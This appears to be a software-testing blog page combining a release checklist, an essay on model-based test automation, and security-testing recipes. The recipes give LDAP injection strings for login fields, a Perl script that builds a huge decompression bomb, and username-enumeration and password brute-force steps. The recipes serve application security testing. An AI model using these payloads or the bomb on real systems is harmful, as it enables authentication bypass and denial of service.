Sample Release checklist

[Me]: Guruji, can you please help me with a sample release checklist for any product?

[Guruji]: Well, i can help you with only a sample. You may have to moderate it with respect to your project

	Activities	Person Responsible
Engineering activities
1	Create install and configuration scripts as needed.	Dev Lead
2	Remove debugging and testing code from the software (including disabling assertions).	Dev Lead
3	Update version strings with final version information	Dev Lead
4	Cleanup of Resource file	PGM
Quality Assurance Activities
1	Verify all source code meets coding standard; run Checkstyle or other style-checker and do manual inspection	Dev Lead
2	Check that all defects on current defect list have been resolved & have a changelist attached	PGM
3	Smoke test/regression test final build number	Test Lead
4	Verify that all demo scenarios and BVT;s are passing	Test Lead
5	Verify all manual  tests run on the current build and coverage is good	Test Lead
6	Verify all system test scripts run on the actual released software & code coverage	Test Lead
7	Verify all non-functional system tests like performance are documented	Test Lead
8	All fixed defects have been verified as fixed and closed	Test Lead
9	Ensure that all open bugs have been either fixed or moved to an other release.	Test Lead
10	Verify installation by installing system on clean machine	Test Lead
11	Have someone not on your team install and run your system without assistance by following your installation directions.	Test Lead
12	Install program on machine with older version of program (upgrade install)	Test Lead
13	Verify all steps in the deployment plan are completed	Test Lead
14	Verify all acceptance criterias are met	Test Manager/Project Manager
15	Automation deliverable - scripts & installer made available to customer	Test Lead
16	Consistency check:  SRS, User Manual, System Tests, Staged Delivery Plan, and Software must all match	PGM
User Experience
1	Any new or changed functionality is deemed usable	Test Lead/PGM
2	All error messages are friendly & appropriate	Test Lead/PGM
Release Activities
1	Final version of exit report is ready for sending	Test Manager
2	Schedule Acceptance Test date with customer (and instructor)	Onsite PGM
3	Verify the URL of  Web app application is working as expected	Test Lead
4	Synchronize date/time stamp on all release files	Dev Lead
5	Tag and Branch the source code repository.	Onsite PGM
6	Create a backup of the build environment and place the development environment under change control	Onsite PGM / Test Manager / Project Manager
Documentation Activities
1	Verify that User Documentation matches current Release.	PGM/Tech Writer
2	Create a "ReadMe" text file with installation instructions	PGM
3	Write "Known Issues" List	Test Manager
Other Activities
1	Project Visiblity Calculations are current and accurate	Project Manager
2	Road map for the product	Account Manager / Group Project Manager
3	Schedule project Survival Assessment or Post-Mortem meeting	Project Manager

Read more

Attempting LDAP Injection Interactively

Problem
Many applications use the Lightweight Directory Access Protocol (LDAP) for managing credentials and authenticating users. If an application does not carefully handle user input before adding it to LDAP queries, a malicious user can modify query logic to authenticate herself without knowing any credentials, get access to sensitive information, and even add or delete content.
Solution
To test for LDAP injection, enter the following in input fields suspected to be used in LDAP queries and watch for unusual responses from the server. An unusual response may be a random user record, a list of all users, and so on. If such an unusual response is received, then the application is vulnerable to LDAP injection.

*
*)((cn=*
*)((cn=*)
*)((cn=*))
normalInput
)((cn=*
normalInput
)((cn=*)
normalInput
)((cn=*))

To attempt LDAP injection during user authentication, attempt to enter the strings as the username and/or password where normalInput should be replaced with something legitimate (a valid username/password). Also, attempt entering a real username in the system along with one of the strings as the password, and attempt entering a real password in the system along with one of the strings as the username.
Discussion
With LDAP injection, an attacker's goal involves either authenticating without credentials or getting access to sensitive information. This involves guessing what the underlying LDAP query looks like and then injecting specially crafted input to change its logic.
Example 1. Sample LDAP query for searching by username and password
(&(cn=userName)(password=userPassword))
If the application executes the above query and assumes that the user is authenticated if the query returns at least one record, then the attacker could authenticate without a username or password if he enters * as the username and the password.
Note that an attacker can leverage LDAP injection in many different ways. For example, consider what could happen when the application executes the query shown in Example 2 and then checks the password in the returned record to authenticate a user.
Example 2. Sample LDAP query for searching by username only
(&(cn=userName)(type=Users))
The application may contain account lockout functionality such that after three consecutive invalid login attempts, it locks out the user account as a security measure. Consider what happens when the attacker enters userName)(password=guess as the username and guess as the password. The LDAP query becomes (&(cn=userName)(password=guess)(type=Users)) and will return a record if and only if the password for user userName is guess. As far as the application is concerned, if no record is returned, the username entered by the attacker is invalid, and so, there is no account to lock out. Once the attacker guesses the correct password, she is authenticated successfully. Thus, the attacker effectively subverts the account lockout mechanism and can brute-force passwords.
This book's authors have seen a real application susceptible to LDAP injection where an attacker could enter * as the username and any valid password in the system to successfully authenticate in the application. Entering * as the username would return all records in the LDAP store, and the application detecting that multiple records were returned would check the password entered by the attacker against every single one of the returned records and would authenticate the user if a match occurred in any record! The security of the application was thus reduced to the attacker's ability to guess the weakest password in the system.
In general, when testing for LDAP injection interactively, it is helpful to monitor the actual queries being generated by the application to tune the attack to the particular application. There are several ways in which this can be done. If SSL is not being used to protect communication between the application and the LDAP server, a network sniffer can be used to view the application's queries as well as the LDAP server's responses. The application's logs or LDAP server logs are also places where the generated queries might be available.

Read more

SMAF - State Machine based test automation framework

Extending the Model Based philosophy to a software

The process of developing model-based software test automation consists of the following steps:

1. Exploring the system under test, by developing a model or a map of testable parts of the application.
2. Domain definition: enumerating the system inputs and determine verification points in the model
3. Developing the model itself.
4. Generating test cases by traversing the model
5. Execution and evaluation of the test cases
6. Note the bugs the model missed and improve the model to catch (maybe build some intelligence)

Model-based testing is very nimble and allows for rapid adaptation to changes to the system under development. As the software under test evolves, static tests would have to be modified whenever there is a change in functionality. With model-based testing, behavioral changes are handled simply by updating the model. This applies especially well to temporary changes in the system under test. For example, if a certain area of the system under test is known to be broken on a given build, static tests would keep running into the same problem, or those particular commands to the test runner would have to be rewritten to keep that from happening. On the other hand, if testing is done using a model, inputs that lead to the known faulty areas can be temporarily disabled from the model. Any test cases based on this new model will avoid the known errors and not a single line of test code has to be changed.

Model-based testing is resistant to the pesticide paradox, where tests become less efficient over time because the bugs they were able to detect have been fixed. With model-based testing, test cases are generated dynamically from the model. Each series of tests can be generated according to certain criteria, as explained later in this paper. In addition, model-based testing can be useful to detect bugs that are sensitive to particular input sequences. It is very important to note the fact that these additional benefits come at no extra cost to the model or the test harness. This means that once the initial investment has been made to create a model and a test harness, they are modified only sporadically. Meanwhile, the same model can generate large numbers of test cases, which can then be applied using the same test harness.

Developing a model is an incremental process that requires the people creating the model to take into consideration many aspects of the system under test simultaneously. A lot of behavioral information can be reused in future testing, even when the specifications change. Furthermore, modeling can begin early in the development cycle. This may lead to discovering inconsistencies in the specification, thus leading to correct code from the very outset.

To a certain extent, the technique of applying inputs randomly offers an alternative to static tests [5]. However, these types of test automation are not aware of the state of the system under test; for example, the test automation does not know what window currently has the focus and what inputs are possible in this window. Because of this, they will often try to do things that are illegal, or they exercise the software in ways it will never be used. In other words, it’s difficult to guide random input test automation in a cost-efficient way precisely because of its purely random nature. Another consequence of this unawareness of state is that random input test automation can only detect crashes, since it doesn’t know how the system works. The test automation is only able to apply inputs, but it does not know what to expect once an input has been applied. For example, the random test runner may execute a sequence of inputs in one particular window that brings up a new window that has a completely different set of possible inputs. Nevertheless, the test runner is unaware of this fact, and keeps on applying random keystrokes and mouse clicks as if nothing had happened. On the other hand, model-based tests know exactly what is supposed to be possible at any point in time, because the model describes the entire behavior of the system under test. This in turn makes it possible to implement oracles of any level of sophistication. It is feasible to build a certain level of intelligence into the random test automation such that it will only try to apply inputs that are physically possible. The test automation can keep track of the window that currently has input focus and constrain the inputs that it will try to execute based on this knowledge. The disadvantage of the random input generation method is that when the system under test changes in behavior, the test automation has to be modified accordingly.

Disadvantages of Model Based Testing

· Requires that testers be able to program

· Effort is needed to develop the model.

Read more

Creating Decompression Bombs

Problem
A decompression bomb is a compressed file that is very small but expands to a disproportionately large amount of data. We shall discuss how such decompression bombs can be created. If your application processes compressed files (.zip, .jar, .tar.gz, .tar.bz2, etc.), you can use this to generate pathological compressed files that can be used to ensure that your application handles such malicious input gracefully.
Solution
The program in Example 1 will generate a zip of death. You can substitute other compression utilities instead of zip to create other types of decompression bombs (e.g., bzip2).
Example 1. Perl script to create decompression bomb
#!/usr/bin/perl
use File::Copy;
$width = 17;
$depth = 6;
$tempdir = '/tmp/dec_bomb';
$filename = '0.txt';
$zipfile = 'bomb.zip';
chdir($tempdir) or die "unable to change directory to $tempdir $!";;
createInitialFile();
createDecompressionBomb();
sub createInitialFile {
my $file = $filename;
my $i = 0;
open FILE, ">$file" or die "unable to open $file $!";
# The largest file that current versions of 'zip' will compress is 4GB (minus 1 byte)
for ($i = 0; $i < (1024*4)-1; $i++) {
print FILE '1'x1048576;
}
print FILE '1'x1048575;
close FILE;
`zip -rmj9 $depth-0.zip $filename`}
sub createDecompressionBomb {
my $d = 0;
my $w = 0;
for ($d = $depth; $d > 0; $d--) {
if ($d < $depth) {
`zip -rmj9 $d-0.zip *.zip`;}
for ($w = 1; $w < $width; $w++) {
copy($d . '-0.zip', $d . '-' . $w . '.zip') or die "unable to copy file $!";}
}
}
`zip -rmj9 $zipfile *.zip`;
Discussion
You can easily create decompression bombs of arbitrary sizes even if you do not have that amount of storage available yourself. This script only requires sufficient storage for one file of size 4 gigabytes, as well as one file of size 4 megabytes while it runs, whereas if one were to decompress the entire archive, it would decompress to 96,550 terabytes. That ought to be sufficient to fill up the disk space on any server.
You should be careful about where you create the decompression bomb. Since it is meant to crash programs such as virus scanners, you can easily crash such programs on your own system and maybe even make your system unresponsive. You should obviously not try to decompress the file yourself.
The script in Example 1 takes a few minutes to run with the given $depth and $width. Be careful about increasing the values; the size of the decompression bomb increases very quickly. Since the default values will fill up the disk space on any server if the archive is fully extracted, it should not be necessary to increase these values. It would be more beneficial to reduce the values to say $depth=5 and $width=2 to create an archive that would expand to 128 gigabytes. On a server with more than 128 gigabytes of available disk space, that will ensure that if your application is vulnerable to decompression bomb attacks, it will slow to a crawl, but will not crash. Thus, the test will be less destructive.
If upon uploading a decompression bomb the application slows to a crawl or becomes unresponsive, it fails the test and is vulnerable to decompression bomb attacks.

Read more

Brute-Force Guessing Usernames and Passwords

Problem
Unless an application contains account lockout functionality, an attacker can attempt to log in by brute-force guessing common usernames and passwords. This typically involves brute-force guessing to find a list of valid usernames and then attempting to brute-force passwords.
Solution
The goal is to test whether an attacker can obtain some valid usernames in the application and whether he can continually guess passwords until he gets one right. Attempt the following to determine whether the application intentionally or unintentionally reveals usernames:
Attempt to log in with a username that does not exist. Then, attempt to log in with a username that does exist, but enter an incorrect password. If the application's response in the two cases is different, then the attacker can enumerate usernames in the system.
If the application implements password reset functionality for users that forget their passwords, determine how the password reset functionality works. Does it require the user to enter a username? If so, determine whether the application responds differently depending on whether a valid or invalid username is entered.
Some applications contain functionality to allow users to sign up for accounts themselves. Since usernames need to be unique, the application will indicate to the end user whether the username that she is trying to sign up for already exists. This functionality could be exploited by an attacker to enumerate usernames. Determine whether the application contains such functionality.
If in any of these tests the application allows the attacker to determine valid usernames, the application fails this part of the test. This may or may not be of interest in your particular application. However, if the next test fails, then the failure will definitely be of interest.
The next step is determining whether the application allows brute-forcing passwords. Even if the attacker cannot conclusively get a valid list of usernames, he could still attempt to brute-force passwords for common usernames that may or may not be valid in the application (e.g., jsmith). Attempt one of the following depending on your circumstances:
If there is a requirement concerning account lockout functionality, test it by entering an incorrect password for a valid username several times (as dictated by the requirement) and determine whether the account is locked out by entering the same username with the corresponding valid password. Also, if the account is locked out, determine whether the application provides the same response regardless of whether the entered password is correct. If after account lockout it provides different responses depending on whether the password is correct or not, the attacker can still brute-force the password. However, he will not be able to actually log in until the account is unlocked.
If there is no requirement concerning account lockout functionality, determine whether account lockouts are enforced by entering an incorrect password for a valid user account a number of times (10 to 15 times should be sufficient). Then, enter the valid password and see if the account is locked out. As in the previous test, even if the account is locked out, determine whether the application's response is different depending on whether the entered password is correct or not.
The application fails this test if it either does not enforce account lockout functionality, or locks out accounts and then provides different responses depending on whether the entered password is correct or not.
Discussion
Usernames and passwords are frequently brute-forceable even in the presence of account lockout functionality or other mitigating measures. Applications often try to be helpful and provide different error messages to users depending on whether the supplied username is incorrect or the supplied password is incorrect. This is often true even after an account gets locked out. The authors have seen an application that displayed error messages similar to the following. If the username was incorrect, the application stated that "The username or password is incorrect"; if the password was incorrect, the user would get the message "The user could not be authenticated"; if the account was locked out and the password was correct, the user would get a message stating "Your account has been locked out." This provides an easy way to brute-force usernames and passwords.
In the earlier example, an attacker could enumerate usernames by entering different values and recording whether the application stated that "The username or password is incorrect" or "The user could not be authenticated." The attacker could then brute-force the password by waiting to either get logged in or get the message "Your account has been locked out." Even if the attacker locks out an account while brute-forcing, he will just need to wait until the account is unlocked before accessing it. Many applications unlock accounts automatically after a predetermined amount of time.Note that it is typically easy for attackers to guess at least a small number of usernames and passwords in most systems. This is because usernames tend to be predictable, and many users tend to choose very weak passwords

Read more